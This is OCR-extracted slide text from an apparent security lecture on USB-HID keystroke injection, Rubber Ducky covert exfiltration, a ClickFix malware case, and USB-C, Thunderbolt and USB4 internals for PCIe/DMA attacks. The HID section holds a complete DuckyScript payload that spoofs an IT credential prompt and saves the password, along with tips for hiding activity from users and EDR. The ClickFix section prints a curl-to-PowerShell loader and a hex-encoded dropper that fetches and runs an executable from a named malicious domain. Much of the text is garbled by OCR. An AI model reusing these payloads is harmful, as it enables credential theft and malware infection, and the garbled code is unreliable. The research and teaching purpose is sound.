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“Secure hardware enables secure software, not the other way
round.”



Reliability, not Perfection

- We do not require the computer platform to be perfect
+ We need to have a clearly defined system security policy
- We shall be able to rely on the HW obeying that system policy

- The operating system than strives to compensate the weak points while
empowering the strong ones



Purely User-Space SW Attack Model
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Evil HW Attack Model

tasko| -

Operating System \

N \

Computer Platform \ '\

........ Mo d L ‘ en ——

\\
~ |module-MW

SW

HWW



HW-SW Attack Model
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USB-HID



"In March 2020, the FBI issued a warning that members of

the FIN7 cybercrime group .. Packages have been sent to employees ... a
package in the mail which contained a fake gift card from Best Buy as well
as a USB flash drive .. When tested, the USB drive emulated a keyboard, and
then initiated a series of keystrokes which opened a PowerShell window and
issued commands to download malware to the test computer, and then
contacted servers in Russia."

-- https://en.wikipedia.org/wiki/BadUSB , 2025-10-02



https://en.wikipedia.org/wiki/FBI
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USB Human Interface Device
- massively exploited attack vector

—alsely considered as an innocent mouse and
Keyboard

Inherently trusted by both computing systems
and users

In reality, this is a robust bidirectional
Interface capable of many malicious
activities

- data infiltration / exfiltration

- malware injection

- remote station control




USB Rubber Ducky, 2022 version

USB 2.0 High Speed, A/C connector, HID and-or MASS STORAGE class
HID typing 150 chars/second, excellent boot time < 220 ms

Listens also to HID OUT endpoint for LED indicators broadcasts, simple
modem is included with the base firmware

Payloads and exfiltration results stored locally on SD card and/or wherever
else the Host allows

Plausibility Analysis
Plausible, both attended and unattended / dormant scenarios

Inclusion of HID OUT allows for a covert exfiltration of small data through
USB firewall; exfiltration speed estimated at 15.2 bps

Detectable heuristically on a device layer due to its somewhat exotic nature;
O.MG cable detector does not apply - it can only tell this is an active
device, but this is obvious

Besides (theoretical) detection, there is no robust prevention on the USB
device layer, needs to be coped with at upper levels - USB application layer
and higher



The Power of PowerShell on HID Injections
- Threat Model Update Required

HID emulation is equivalent to dot-sourcing of large pst
This effectively bypasses execution and network download policies

The simple plain vanilla PowerShell command line is as powerful as a long ps
script file that might have been blocked otherwise, now

® Restricted

o The default execution policy for Windows client computers.

o Permits individual commands, but does not allow scripts.

o Prevents running of all script files, including formatting and configuration files (. ps1xml),

module script files (.psm1), and PowerShell profiles (.ps1).

e R
-- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-5.1




PowerShell in LOLBIN Terrain

Besides its own commands and scripts, PS can invoke
- classes and objects from .NET runtime

- COM/DCOM

- executables and libraries from WINn32 user space

+ One script to rule them all...

LOLBIN — Li\/iwg oﬁc the Land BLnarLes
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Distributed Parallel Processes in General

spawn

—

L ED reflection

PowerShell DuckyScript

keyboard entry

Host Computer Rubber Ducky
(the victim) (the intruded)



LED Reflection in General
- Powerful Interplay in between PowerShell and Ducky Script

- Suitable for both attended and unattended scenarios

add the System.Windows.Forms .NET namespace
Add-Type -A System.Windows.Forms

let

Ssignal = "% {CAPSLOCK}" for option-1

Ssignal = "$S{NUMLOCK}" for option-2

Ssignal = "${SCROLLLOCK}" for option-3

Ssignal = "" for option-4 as this is also a signal

—

1nvoke SendWait static method of SendKeys class
[System.Windows.Forms.SendKeys] ::SendWait ($Ssignal) ;




USB Rubber Ducky LED Modulator in Action

PS C:\Users\cza95452> cat %env:temp\mx.txt by
65

104

111

106

33

PS C:\Users\cza95452> o - In $(cat %env:tmp\mx.txt by) ) { ' N Ox80,0x40,0x20,0x10,0x08,0x04,0x02,0x01)

{1 ( )M N ;U3
PS C:\Users\cza95452>

PS C:\Users\cza95452> echo
%{ CAPSLOCK }7%{NUMLOCK }%{ CAPSLOCK }7%{ CAPSLOCK }%{ CAPSLOCK }7%{ CAPSLOCK }%{ CAPS LOCK } %{ NUMLOCK }7%{ CAPSLOCK }%{ NUMLOCK }7%{ NUMLOCK }%{ CAPSLOCK }
% { NUMLOCK }%{ CAPSLOCK }%{ CAPSLOCK }%{ CAPSLOCK }%{ CAPSLOCK }7%{ NUMLOCK }%{ NUMLOCK }7%{ CAPSLOCK }%{ NUMLOCK }7%{ NUMLOCK }%{ NUMLOCK }%{NUMLOCK }%{ C
APSLOCK }7%{ NUMLOCK }7%{ NUMLOCK }7%{ CAPSLOCK }%{ NUMLOCK }7%{ CAPSLOCK }7%{ NUMLOCK }%{ CAPSLOCK }%{ CAPSLOCK }%{ CAPSLOCK }%{ NUMLOCK }7%{ CAPSLOCK }%{ CA
PSLOCK }7%{CAPSLOCK }7%{CAPSLOCK }%{NUMLOCK }%{SCROLLLOCK}

PS C:\Users\cza95452>

>




L ED Transmitter - PowerShell Platform

add the System.Windows.Forms .NET namespace
Add-Type -A System.Windows.Forms

P

1nvoke SendWait static method of SendKeys class
Ss 1s the string to be injected into message loop
[System.Windows.Forms.SendKeys] ::SendWait ($s) ;




Received Message Stored on Rubber Ducky SD Card

® © I loot.bin

0 48 65 6C 6C 6F 20 77 6F 72 6C 64 20 74 68 72 6F | |Hello world thro

16 |75 67 68 20 74 68 65 20 63 6F 76 65 72 74 20 63| |ugh the covert c

32 68 61 6E 6E 65 6C 20 6D 6F 64 65 6D 21 | hannel modem!
Unsigned Int © || le, dec -

45 out of 45 bytes




CAPS Lock Trap to Detect an Active User
- during logon, etc.




Visibility Obfuscation

- powershell -W Hidden -Command ...

cmd /C "start /MIN cmd powershell -Command ..."

- excellent when not hooked by Endpoint Detection and Response (EDR)

- In general, be careful about one-liners as the process log can contain the exploit code then, at least
oartially

- Anyway, we control the keyboard, so we can hide the particular activity windows like an ordinary user
would

- minimize/shift window using Ul

- This is exactly the vital part of USB-HID power, as we have a plenty of obfuscation ways at our
disposal, compared to other exploit injection vectors




USB Drop Attack Vector: Phishing-style Interaction

Company USB Disk Detected

k Your system will be updated to view this internal flash disk.
e

IT Security Request

Please enter your password to finish this update,

User name: '€ John Doe vl .

Password: SesssNRRRRRIRRRS

[ OK ] Cancel




REM Stage 1 - Bait the user attention

GUI r

DELAY 350

STRINGLN cmd

DELAY 450

REM Use kind blocker 1n case of a wrong keyboard layout
STRINGLN echo checkus & powershell & exit

DELAY 350

STRING &/{

STRING Add-Type -A @ ('PresentationFramework', 'System.Windows.Forms') ;
STRING [System.Windows.MessageBox]::Show('System updates for this medium.', 'RBCZ Disk
Detected', 'OK', 'Warning') ;

STRING [System.Windows.Forms.SendKeys]: :SendWait('%{SCROLLLOCK}') ;

STRING exit

STRING }

ENTER

REM Minimize the background PS window, only the dialog shall remaln visible
DELAY 350

GUI DOWNARROW

WAIT FOR SCROLL CHANGE
DELAY 350



REM Stage 2 - Scam user's password and save it to a local file
GUI r

DELAY 350

STRINGLN cmd

DELAY 450

STRINGLN powershell & exit

DELAY 350

STRING Suser update 7b23={

STRING Add-Type -A System.Windows.Forms;

STRING $a=SHost.UI.PromptForCredential ("IT Security Request", "Please enter your
password to finish this update.", Senv:username, "");

STRING $b=[System.Runtime.InteropServices.Marshal]: :SecureStringToBSTR (Sa.Password) ;
STRING Sp=[System.Runtime.InteropServices.Marshal]::PtrToStringAuto ($b) ;

STRING S$f="Senv:Tmp\3ed4lf376.txt";

STRING New-Item $f -ItemType File -Value ($Sa.UserName + " : Sp") -Force;

STRING [System.Windows.Forms.SendKeys]::SendWait('%${SCROLLLOCK}') ;

STRING exit

STRING }

ENTER

STRINGLN Clear-Host

STRINGLN &Suser update 7b23

WAIT FOR SCROLL CHANGE
DELAY 350



REM Stage 3 - Open notepad with the user name and password and zoom it
GUI r

DELAY 350

REM carefully with one-liners

REM STRINGLN notepad $TMP%\3ed4lf376.txt

STRINGLN notepad

DELAY 1000

CTRL O

DELAY 250

CTRL ©

DELAY 550

STRING $%TMP%\

DELAY 250

STRING 3e41f376.txt
ENTER

DELAY 550

HOLD CONTROL =
DELAY 2100
RELEASE =
INJECT MOD
RELEASE CONTROL



—eal Investigation: Phase #1 One-Line Loader

cmd /c powershell -w h curl.exe hxxps://

www[ .]aggiornamentoaggiornamento|[.]com/requestverificationclodflare. txt
| powershell -

- detected via vestigial traces in Windows shell RunMRU list under
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\

- alerted by Microsoft Defender as the ClickFix vector - with some caveats,
however



ClickFix Vector - yet another way, this time without RD

Verification Steps

1. Press Windows Button " 8@ " + R
2. PressCTRL+V

3. Press Enter

-- https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/



qYDgXFJO1lwQVAGDRwWSNgJMnP ] JbvxMWVtIbzgLsfOTXTEFZuXCNIjhmeloHndNRYZvcsfEk1Z1iSQOTKdKhYvyOlL
WxNsEFBABYuJdgPSRc1APWPSddcwpWaLJQVhgqrhThSOpZBAeRGdAWfkwAhvPadELfyizMLhbZvPTwHasccyfjsDgY
TVAvcGgcHiqggBnSkeDaQRzsHCmxeZbmuCbtghgwoYrpZjCbofuEocPHUctsqILDfvvoZucDyGlrZJTYAKIzeXySm
TZNnoGgMnKdnNBuDrGirYhKIUrfA

MYHxdCGVOPJAFelzgqlmJOvmRPaNl1OESwagAPDfJLvYocwhl tvLSJEW1Q1lgqhCoUGIJWMZZeWwKcbOqGKU1pUgDl jrE
ujdMxGXbRegjJHLPZPHHAIuJbWzNTeDXMVUeut jMVDmZcdkadFQoebNwAZBqysDxNGTOmgUgfvlZVVhylYjONOtlH
YeVrtOdApLVKWnxkkJjgnberDEZJokzMi1HOCzolgIZfIJMnPlmdcFKvTwzdopoTLFMIcPYv1wXChOvUePooXLHtCn
nSCVzwrpNaxELAMrrfiINFAeyYAzwAXTGpbGsPwaKsAVXaDocgTcKtZiRXXawrsNceyWZGybiHxXVEfHYVMXQhVIM
PsoVsWeSznstbhOWhrtCvEemPzF

JUcfHVMGgRc JMAfVOMOwnxBi1qcFQLOCFtQvyXI1XpalEEHgZQiNzBCS1TupfQVvRPXqwihyIBqQGNPwdivgAcBCDqgq
yJecSGHUeQphRJrikEyLWEWXRHJKkUTOMTzyZCVqQvimiyGvOMORSWEsutmHLLWXzL.AdOS1SgOOCcJWYRVrXvCbUHDb
FFmvKEYLmWxchxaWldhBQkWNgqTzcwkgWmNgflEjeQXAao

NtwYRxmFLU1YEULY JjplRGukurzZyXzMWnBCaDDfntQbsxGgkXFgi0Ii1tJChSYohLHMICR1VgKyXpSrwlSoaRTeHe
TIQAWNOF1Qk1lUeSmkAY

Add-Type -AssemblyName System.Windows.Forms;
[System.Windows .Forms .MessageBox] : :Show('Verification complete!', 'Information',
[System.Windows.Forms.MessageBoxButtons] : :OK,

[System.Windows.Forms .MessageBoxIcon] : :Information) ;
PlsaSFvzJNQsdEHi1TIUUJxkSHCGLQoWnhSFstbiyvaOerSYHgNvJROQbfSkXLufKNaiZXMOGaWZjiFbpezeDtMWRc
eNarLmAuDQR]yJUyojvgHsZrvtMPcRBERxtynPPjYofpJFfPJEEdaaUmnjwRakSmPNRBQVLZUMSSNkhpOxGXMYdr
cHLETxXInVsZwodZnteIOHBYDBGDdevZqgjZY JKHGWDexUK1BkYSehPPkaiICMufIaSiMOFqdlYmKcEEsQFTFMQrbU
pPxXACEtcYWXBcYmehpsJdFHWdPlHaawJaHsZHpaheKmGhCQsToXXY1yPi1bWmSmBxXZNbUgNXsOLeSTApbztomDY1sTI
dggSnOsIogTbvLGReJMDfwilvmYyOuBciMCWgaawlKeTWzE11VYPYodhIvXBpuutfgsjIjaEi1PRVROOvigPtVmEt



Add-Type -AssemblyName System.Windows.Forms;

[System.Windows .Forms .MessageBox] : :Show('Verification complete!', 'Information',
[System.Windows . Forms .MessageBoxButtons] : : OK,

[System.Windows.Forms .MessageBoxIcon] ::Information) ;

Information

' Verification complete!




SdIZA
='696578687474770733A2F2F7777772E616767696F7126E616D656E746F616767696F726E616D656E746F2E636F6D2F6DOEGF676F2E657865244D4541595A203D2024
656E763A417070446174613B66756E6374696F6E206B50416D28247669476C2C202461676D444E55297B6375726C20247669476C202D6F202461676D444E557D3B66
T56E6374696F6E206577527078282464495A41297B6B50416D202464495A41202461676D444E557D2461676D444E55203D2024656E763A41707044617461202B2027
5C6D6E6F676F2E657865273B657752707820246472634457764E552E537562537472696E6728332C3532293B7374617274202461676D444E553B3B"' ;

SdGeP = 0.. ((SdIZA.Length/2)-1) | ForEach-Object
{ [Convert] ::ToByte ($dIZA.Substring($ *2,2),16)};
SdrcDWvNU = [Text.Encoding]::ASCII.GetString($dGeP) ;

# SdrcDWvNU contains the following, now

# iexhttps://www.aggiornamentoaggiornamento.com/mnogo.exeSMEAYZ = $env:AppData;function
kPAm (SviGl, $agmDNU) {curl $viGl -o $SagmDNU};function ewRpx (SdIZA) {kPAm SdIZA $agmDNU}
SagmDNU = S$env:AppData + '\mnogo.exe';ewRpx $drcDWvNU.SubString(3,52) ;start $agmDNU; ;

& SdrcDWvNU.Substring(0,3) $drcDWvNU.Substring(55);;exit;

# Visualization of the script block via

# Write-Host $drcDWvNU.Substring(0,3) $drcDWvNU.Substring(55)

# gives the following

# iex SMEAYZ = Senv:AppData;function kPAm($SviGl, $agmDNU) {curl $viGl -o
SagmDNU} ; function ewRpx (SdIZA) {kPAm $dIZA $agmDNU}S$agmDNU = Senv:AppData +
'\mnogo .exe' ;ewRpx $drcDWvNU.SubString(3,52) ;start $agmDNU; ;

# Where the substring $drcDWvNU.SubString(3,52) returns (sanitized)
# hxxps://www[.]aggiornamentoaggiornamento|[.]com/mnogo.exe



E Q  fb28d84069e811c070daf8a8a270ee40c0eb4abb1507debca58e080138df4408 - - Signin m

C' Reanalyze = Similar v More

fb28d84069e811c070daf8a8a270ee40c0eb4abb1507debca58e080138df4408 Size Last Analysis Date 2 L

EOS Utility 3.exe 17.48 MB 8 days ago EXE
Community
Score peexe overlay calls-wmi malware detect-debug-environment spreader executes-dropped-file persistence cve-2016-2569 exploit

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 6

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label Threat categories trojan Family labels penguish  r002c0ddp25

Security vendors' analysis () Do you want to automate checks?

AhnlLab-V3 Antiy-AVL
Arctic Wolf Avast

AVG Bkav Pro

CrowdStrike Falcon CTX
DrWeb ESET-NOD32
Fortinet GData

Google lkarus

-- https://www.virustotal.com/gui/file/fo28d84069e811c070daf8a8a2 7 0ee40cOeb4ablb 1507 delbcad58e080138df4408




USB Type-C Cable and Connector



Glossary

+ DFP - Downstream Facing Port; USB host-side port or hub downstream port

- UFP - Upstream Facing Port; USB device-side port or hub upstream connection

* DRP - Dual Role Port; USB port that may operate as either a DFP or a UFP

- Source - the provider of VBUS power in a USB connection

- Sink - the consumer of VBUS power in a USB connection

- USB PD - USB Power Delivery

- SOP* - Start of Frame field in a USB Power Delivery; indicates the intended recipient of the packet
- VCONN - the dedicated power supply rail for cables and accessories

- BMC - Biphase Mark Coding

- CDR - Clock (and) Data Recovery

-- Application Note, AN1974, Microchip Technology Inc., 2015



UsSB 3.1 USB 3.1 Thunderbolt

UsB 1.0 | USB 2.0 Geni Gen2 USB 3.2

12mbps | 480mbps |(Previously 3.0) 10gbps 20gbps

SUPERSPEED .

€9 THuNDERBOLT

Mini DisplayPort
Connector

SOVENRSNED
SUSB>
shos ‘

» 75 mm »
MM

’
'
Py =

€9 THuNDERBOLT

Mire-A Mini-8 Mini-A Mire-B

ekl Kl
=0 G [daa | e Type-C

MiCro-A Micro-B MICro-A Micro-B



Connector Stacking - USB 3.0/3.1/3.2 x 1 Example




Gen i x J Notation for USB 3.1 and Higher

speed =5 271 . j [Gb/S]

e {1,2,34},7€ {1,2}



USB Type-C® - Functional Model

USB 3.2 / USB4™ data bus \ VP

* Two sets of TX/RX pin pairS, Looking into the product receptacle: /,
supports x1 and x2 operation

USB 2.0 data bus |- [ o [ o+ | o

* Two pin sets on host, one set on wc- [N sev2 | o- | o+
device - strapped together within 12 B B0 B9 B8 BT 6
the host and device

A3 A A5 A6 A7 A8 A9 A10 A1 A12

Two power buses
* VBUS and VCONN

Two sideband pins (SBU1/SBU2) Looking into the cable or product plug:

 SBTX/SBRX for USB4 : ‘:
CC - Configuration Channel
* Two CC pins in connector o

* One CCwirein cable

9 USB Implementers Forum © 2019



FIGURE 4: USB2.0 TYPE-C PLUG PIN-OUT

ol | BI5
Z |
O NIz
< <
Gz) @ olol®
= C ol
n n

Receptacle Cable Plug

-- Application Note, AN1953, Microchip Technology Inc., 2015



FIGURE 5: USB TYPE-C RECEPTACLE AND CABLE PLUG

Receptacle Cable Plug

-- Application Note, AN1953, Microchip Technology Inc., 2015



Source monitors Sink monitors for

for connection orientation
N Cable
| |
— AN E—AN—
| |
Rp - . Rd
. :
| |
! I
| |
Rp / i | Rd
. —
i : -
Source monitors N % Sink monitors for
for connection orientation

» Host side can substitute current sources for Rp

* Powered cables and accessories introduce Ra at the “unwired” CC pins which are used to
indicate the need for VCONN

Source also monitors for orientation this way. Sink monitors for a connection via Vgys.

12 USB Implementers Forum © 2019



FIGURE 6:

CABLE ORIENTATION DETECTION

DFP =& 5 5 UFP
Rp Rp E USB Type-C Cable E Unflipped
CC1 | CC Wire ' cc1
CC2 : I CC2
: E Rd % Rd
“Unflipped” | : T
DFP = 5 5 UFP
Rp Rp E USB Type-C Cable E Unflipped
CC1 ' | ' cc1
CC Wire e ——
CC2 l I CC2
——
E : Rd % Rd
“Flipped” : :




USB Type-C® - Functional Model

* USB Type-C Full-Featured Cable supports all USB operating modes

10

Host
USB

TX1 — |5
RX1 — £

—— SBTX/SBRX —

L

USB D+/—- —

CCl1 =

CC Logic

& VCONN
Switch

— CC2 —

T™X2 ——

RX2 — |3 |B

USB Type-C

Full-Featured Cable!l
AL

Lane O

CC wire

==

- ]
| =
m 'CH
| = \ |,

USB Type-C Plugs

Note: 1.Required VBUs and Ground wires not shown in this illustration

=

- Enus - “Ikn | =1

o

R T

1

™

5

el

sou: [ wo- [ o

0+

o - [ >

o T <

— TX1
—— RX1

— SBTX/SBRX ———

— CC1

— USB D+/-

?@—-

— CC2 —

CC
Logic

— TX2
—— RX2

Device
USB

USB Implementers Forum © 2019



FIGURE 2: SOP* SIGNALING

DFP |

ELECTRONICALLY MARKED CABLE | U F P

CABLE PLUG CABLE PLUG

v . 1
. ~@—SOP’ — ) 1
———————— SOP'——————
4—— SOP—-—>

Note: SOP’ is assigned to one plug of the cable while SOP” is assigned to the other. The cable plugs cannot tell
which side that they are connected to, just that one end may respond to SOP’ addressed messages and
the other may respond SOP” addressed messages.

The DFP is the Bus Master and initiates all communication.

-- Application Note, AN1974, Microchip Technology Inc., 2015



Figure 2. PD Message exchange between a provider and a consumer during power negotiation

Provider
(DFP)

Send Power L Source Capabilities
Capabilities

Consumer
(UFP)

|

—

GoodCRC

Analyze received
Requesti Capabilities and

choose a power

-

GoodCRC

Analyze received
request and decide L Accept
if can be accepted

profile to request

or rejected

PS_Ready
Switch to the

required power

) GoodCRC

profile and inform
the Consumer

GoodCRC

-- Technical Article, TAO356, STMicroelectronics, 2018



FIGURE 1: POWER DELIVERY PROTOCOL PACKET FORMAT

I\ Provided by Protocol Layer %
Provided by Physical Layer, 4bSb encoded

Provided by Physical Layer, not encoded

FIGURE 5: BMC SIGNALING
Dataln "0 ‘1 "0 1 °0'  1° 0 1 0°0'0 1 1 0°0'0 "1 1"

Before .
Encoding .

Biphase Mark Coding

BMC

Differential Manchester coding, 300 kbps, DC balanced with a nominal voltage swing of 1.125V

-- Application Note, AN1974, Microchip Technology Inc., 2015



4b5b Encoding

(Hex) (Binary)

0
1

N OO O B~ 0D

Data

0000
0001
0010
0011

0100
0101
0110
0111

4B5B
code

11110
01001
10100
10101
01010
01011
01110
01111

(Hex) (Binary)

m m| O O W >» © 5 o©

Data

1000
1001
1010
1011
1100
1101
1110
1111

4B5B
code

10010
10011
10110
10111
11010
11011
11100
11101

Redundancy used to inject clock signal

Symbol

> N <

‘D)

4B5B
code

00100
11111

11000
10001
00110

00000

00111
11001
01101

Description

Halt
Idle
Start #1
Start #2
Start #3

Quiet (loss of
signal)

Reset
Set

End (terminate)

-- https://en.wikipedia.org/wiki/4

FDDI

Yes
Yes
Yes
Yes

No

Yes

Yes
Yes

Yes

Fast

Ethernet

Yes
Yes
Yes
Yes

No

Yes

Yes
No

Yes

USB-
PD

No
No
Yes
Yes

Yes

No

Yes
Yes

Yes

5358




TABLE 1: SOP* SIGNALING DEFINITIONS

Name Value Use
SOP 11000 11000 11000 10001 Communication to UFP
SOP’ 11000 11000 00110 00110 Communication to USB Type-C Plug
Side A
SOP” 11000 00110 11000 00110 Communication to USB Type-C Plug
Side B
Hard Reset 00111 00111 00111 11001 Resets logic in all connected PD devices

(UFP and/or Active/Electronically
Marked Cable)

Cable Reset 00111 11000 00111 00110 Reset for only Active/Electronically
Marked Cable.
SOP’_ Debug 11000 11001 11001 00110 Used for debug of USB Type-C Plug
Side A
SOP” Debug 11000 11001 00110 10001 Used for debug of USB Type-C Plug
Side B

-- Application Note, AN1974, Microchip Technology Inc., 2015
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VBUS VC?ONN

Processor (Software)

Type- nnection
- SOURCE

- SINK

- SINK with Accessory
Support

— Dual-Role Port

- Dual-Role Port with
Accessory Support

PD (Provider/Consumer)

Device Policy Manager

Policy Engine

Protocol

FUSB302B

Control
Settings

Comp.
Status

/
IS

CC1

CC2

PD
Configuration

Access

BMC Physical Layer

-- FUSB302B Programmable USB Type-C Controller w/PD, Semiconductor Components Industries, LLC
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12:00 ACE up the sleeve: Hacking into Apple's
12:40 new USB-C Controller

Day 1

o IFEEINCINRIOA M 2 STACKSMASHING BE
W OFFICIAL ERESJdl:N5p%

With the iPhone 15 & iPhone 15 Pro, Apple switched their iPhone to USB-C and introduced a new USB-C controller: The ACE3, a powerful, very
custom, Tl manufactured chip. But the ACE3 does more than just handle USB power delivery: It's a full microcontroller running a full USB stack
connected to some of the internal busses of the device, and is responsible for providing access to JTAG of the application processor, the
internal SPMI bus, etc. We start by investigating the previous variant of the ACE3: The ACE2. It's based on a known chip, and using a combination
of a hardware vulnerability in MacBooks and a custom macOS kernel module we managed to persistently backdoor it - even surviving full-
system restores. On the ACE3 however, Apple upped their game: Firmware updates are personalized to the device, debug interfaces seem to be
disabled, and the external flash is validated and does not contain all the firmware. However using a combination of reverse-engineering, RF side-
channel analysis and electro-magnetic fault-injection it was possible to gain code-execution on the ACE3 - allowing dumping of the ROM, and
analysis of the functionality. This talk will show how to use a combination of hardware, firmware, reverse-engineering, side-channel analysis and
fault-injection to gain code-execution on a completely custom chip, enabling further security research on an under-explored but security
relevant part of Apple devices. It will also demonstrate attacks on the predecessor of the ACES.

T watch recording on media.ccc.de

— https://events.ccc.de/congress/2024/hub/en/event/ace-up-the-sleeve-hacking-into-apple-s-new-usb-c-controller/




Figure 3. Typical scenario using Alternate Mode to drive a display

PC/Laptop

Vendor

Specific
Controller

Display
Driver

Display signals

USB signals

Display

Vendor
Specific
Interface

-- Technical Article, TAO356, STMicroelectronics, 2018
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8.3.2 USB 3.1 and 2 Lanes of DisplayPort

The TUSB1046-DCI operates in USB3.1 and 2 Lanes of DisplayPort mode when the CTL1 pin is high and CTLO
pin is high.

A 1 Port USB & M)
D+/- 0 D4/-
< + > 2 Lane DP < t >
USBHost 1 sstx | Tussioss-nol TUSB1064-DCI | SSRx | USBHUb
N\ //
<«_SSRX N 7 |._8sTX
\ \\ /k/ -
\\\ N p RX2 «—X1 -~
N X2 Rx1 |7
)\/ N 7 > }/
TN Y o 2
7 (&) (&)
DPO__ L -7 XN ™t ,[§ 8 R2 | . DPO
_“ \ ) Q :><:\
DP1 - M RX1 cﬁc.g &.3 X2 | -- -~ DP1 >
DP2 Q Q DP2
GPU > g o *| DPRX
DP3 R = = DP3
JAUp | ] < SBUT  SBUI | ] « AUXn
JAUXn | ] . SBU2 >< o sBu2 | <« AUXp
- HPDIN HPDIN -
FLIP|0| 1| CTL FLIP|0|1|CTL
HFD CCH CCH HPD
<
Control . PD Controller cC2 ce2 PD Controller . Control
CTL1/0/FLIP=H/H/L \—/ - CTL1/0/FLIP=H/H/L

Copyright © 2016, Texas Instruments Incorporated

Figure 8-6. USB3.1 + 2 Lane DP — No Flip (CTL1=H, CTLO=H, FLIP =L)

-- TUSB1046-DCI, data sheet, Texas Instruments, rev. January 2023
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‘) THUNDERBOLT.

TECHNOLOGY BRIEF

Thunderbolt™ 3

More speed. More pixels. More possibilities. y

e

-- Intel Corporation, 2016
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Protocols [®) pisplayPort E‘CI>>
More 40 Gbps
Speed faster connection
N!ore Dual 4K Displays
Pixels 60 Hz
More 100 W charging
Power 15 W device

Logical

— s —_— 1

-- Intel Corporation, 2016
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SBU Mux Control

I3 TEXAS
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www.ti.com
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Figure 9-7. TBT Notebook with PD Charging
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-

-- TPS65988 data sheet, Texas Instruments, rev. August 2021



Thunderbolt 3 to PCIl Express Expansion Chassis

BT Flash USB Type-C
controller FW controllers

-- https://www.startech.com/en-eu/usb-hubs/tb31pciex16



10,000 Foot View Here comes... USB4

* Runs over USB Type-C® interconnect

* Tunnels USB3, PCle and DP protocols

 Signaling rates of 10 or 20 Gbps (10 to 40Gbps aggregated b/w)
 Utilizes passive and active cables (longer reach)

* Topologies with up to 6 routers

* Time sync accuracy support across USB4™ Fabric

Tunneled Protocols USB4 Fabric Tunneled Protocols

USB3 USB3

PCle

USB4 "Di

—+----USB4 Packets-----

Router Router

USB Implementers Forum © 2019



USB4™ DisplayPort™ Considerations

* This presentation focuses only on USB4 DP requirements. Other requirements are covered in
earlier presentations and the USB4 specification.

* There are three USB product types of interest for DisplayPort

e USB4 Host, USB4 Hub and USB4 Device
* USB4 Hosts and Hubs must support DP Protocol Tunneling, with support optional for USB4

Devices
USB Device
USB4 DisplayPort
USB4/ Router Sink
USB4 Interface <>
with tunneled " e fevide
USB, DP and PCle data g‘

USB4

DisplayPort

Source Router Router 3 USB4
PCle \ USB Device
Controller -

oo | D | USB3 | PCle |

\ USB4 DisplayPort

Router Sink

PCle Device

A Ok

36 USB Implementers Forum © 2019



USB4 Host

Host I/F
Adapter

DP Source Enhanced

SuperSpeed Host

USB 2.0 Host

V' I\

PCle Controller

PCle DN
Adapter

PCle DN
Adapter

USB3 DN

Adapter

USB3 DN

Adapter

USB4 Device

PCle Function

DP Display

PCle UP
Adapter

USB4 Port

USB3 UP
Adapter

‘I'/

USB 2.0 Function

Enhanced
SuperSpeed
Function

USB4 Device

PCle UP
Adapter

PCle Function

DP Display

USB4 Port

USB3 UP
Adapter

‘l'_7

USB 2.0 Function

Enhanced
SuperSpeed
Function




USB4 versus Thunderbolt

- As an attack vector, both can give the attacker PCI Express access
- They are, however, different utilizations of the USB Type-C interface
- Their activation sequence via USB PD on the CC line differs

- They may not be both supported by the same port - check the computer
manual

+ When striving to get PCle access, we shall try both ways

- as one may be blocked/not available, while the other one could be there



USB Type-C plus PCle/DMA Attack Vector

- Part #1

- getting through the USB-C PD controller and TB host controller combo

- for instance, Thunderspy by Bjorn Ruytenberg, https://thunderspy.io/

- Part #2

- |ateral movement in PCI Express bus environment

- for instance, PClLeech by Ulf Frisk, https://qithub.com/ufrisk/pcileech

- also relevant, Thunderclap: Exploring Vulnerabilities in Operating System IOMMU Protection via DMA
from Untrustworthy Peripherals by A. Theodore Markettos et al.

- https://thunderclap.io/wp-content/uploads/2024/01/thunderclap-paper-ndss2019.pdf



https://thunderspy.io/
https://github.com/ufrisk/pcileech
https://thunderclap.io/wp-content/uploads/2024/01/thunderclap-paper-ndss2019.pdf

O

black hat

1SA 2020

DMA attacks

* Thunderbolt 1: no protection against —
physical attacks Cor st

PCle (PCH) / F3B (Northbridge)

DDR SDRAM

* Plug in malicious device
- Unrestricted R/W memory access (DMA) Re st Complex

* Access data from encrypted drives T

* Persistent access possible, by e.g.
installing rootkit

Switch B

TB Device

-- Ruytenberg, 2020 5



IOMMU In Action

Malicious R
eripheral D
perp DMA : _i _ loMMU
: ). MMU ... CPU core(s)
: 6 : | ‘ Physical Physical ':| ELoadS &
. =¥ E — Addresses Addresses | <72 Pe9°1®0es | o stores
10 Virtual E EE HDevice page tables ) ( 8 : (
Addresses * | S ' Virtyal
Y > ~
: § : T H/@ Main memory (DRAM) + ® . Addresses
'3 >

PCle & Thunderbolt peripherals

-- https://thunderclap.io/



Application-specific hw/sw O
O
— Device-specific Device :1%’
2 descriptor-ring control é
__E: DMA engine reqgisters 'q;)
= O
Q » | PCle config register ‘personality’ T
S 0
cj) ;qg) £ PCle transport layer (TLPs) %
5 & _ S
% = PCle physical/ Thupderbolt % 'c%
5= v link layers phys/link layers | = |5

‘ USB Type-C |

Fig. 3: Stack of a typical network or storage device. Lower
layers are standardized, while the DMA and application layers
vary among devices. Implementing all layers in a software
model allows us to explore vulnerabilities throughout the stack.

-- https://thunderclap.io/



Arbitraryl§ Config i QEMU NIC Malicious

| QEMU virtual
network card
control, DMA network stack

engine flengine§l regs 'engine app

9o < .
' ' Linux kernel

PCle soft-core [lalsCra%:le]j [o]o] (e Arm Cortex A9 CPU dual-core

[T | = PCle to Thunderbolt bridge (optional)

Fig. 4. Implementation of fully-functional network card using
a QEMU device model running on FPGA

-- https://thunderclap.io/



NVMe Solid State Drive

- NVMe (Non-Volatile Memory Express) is
SSD standard incorporating disk
controller and disk host adapter into one
device connecting directly to PCI
EXpress system bus

- does not require PCle to SATA host
adapter

- usually uses M.2 connector factor
regarded as yet-another PCle plug
here




Thunderbolt / USB4 to NVMe

- In fact, having PCle adapter immediately implies having NVMe, as this is just a
guestion of a connector format

- CEM (Card ElectroMechanical connector - i.e. PCle classic) versus M.2

+ Can be used as a security policy bypass in case of USB Mass Storage device
class being actively blocked

- from the USB Type-C viewpoint, this is not a USB peripheral, as it runs
through the PCle channel instead

- S0, It may be totally invisible for a plain USB filtering SW



HyperDrive USB4 NVMe Case
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Verbatim GmbH, Diisseldorfer Str. 13,
256GB Vi3000 PCle NVMe™

65760 Eschbom, Germany
M.2 2280 Internal SSD
Part N0.49373

